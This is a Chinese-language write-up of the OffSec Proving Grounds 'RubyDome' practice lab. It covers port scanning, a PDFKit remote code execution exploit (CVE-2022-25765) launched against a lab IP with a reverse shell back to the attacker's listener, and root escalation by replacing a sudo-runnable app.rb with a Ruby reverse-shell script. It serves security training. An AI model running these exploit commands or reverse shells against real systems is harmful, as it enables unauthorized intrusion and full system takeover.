OSCP RubyDome Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

RubyDome

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

报错回显 –> PDFKit 远程代码执行 –> andrew 用户权限

权限提升:

ruby 脚本 sudo 提权 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.124.22 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -p22,3000 -sCV 192.168.124.22

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
3000/tcp open http WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
|_http-title: RubyDome HTML to PDF
|_http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 PDFKit 远程代码执行(CVE-2022-25765)

访问靶机 HTTP 80 端口,发现网站提供了将网页转换为 PDF 文档功能。

输入 http://127.0.0.1 ,页面发生了报错,报错信息涉及到 PDFKit 和 wkhtmltopdf 以及 webrick-1.7.0。

搜索引擎检索发现 PDFKit 历史存在远程代码执行漏洞(CVE-2022-25765)。

参考链接:

1
2
https://www.exploit-db.com/exploits/51293
https://github.com/UNICORDev/exploit-CVE-2022-25765

下载漏洞利用代码并执行,得到了 andrew 用户权限。注意: 脚本的-w 和 -p 参数需抓取网站数据包获取。

1
2
3
4
5
git clone https://github.com/UNICORDev/exploit-CVE-2022-25765.git

nc -lvnp 1234

python3.9 51293.py -s 192.168.45.221 1234 -w http://192.168.124.22:3000/pdf -p url

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Ruby sudo 提权至 root

andrew 用户可使用 sudo 以任意用户权限执行/home/andrew/app/app.rb 文件,andrew 用户对该文件具有写入权限,利用该配置可提升至系统 root 权限。

Ruby reverse shell:

1
https://gist.githubusercontent.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325/raw/1c499a692804cca6afceee3620040bd6165324f7/rshell.rb
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337

require 'socket'

s = Socket.new 2,1
s.connect Socket.sockaddr_in 1337, '127.0.0.1'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'

替换/home/andrew/app/app.rb 为 reverse shell。

以 root 权限执行 sudo 指令,获取到系统 root 用户权限。

1
2
nc -lvnp 1234
sudo -u root /usr/bin/ruby /home/andrew/app/app.rb

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP RubyDome Write-up
https://www.f0nesec.top/2025/08/27/oscp-rubydome/
作者
F0ne
发布于
2025年8月27日
许可协议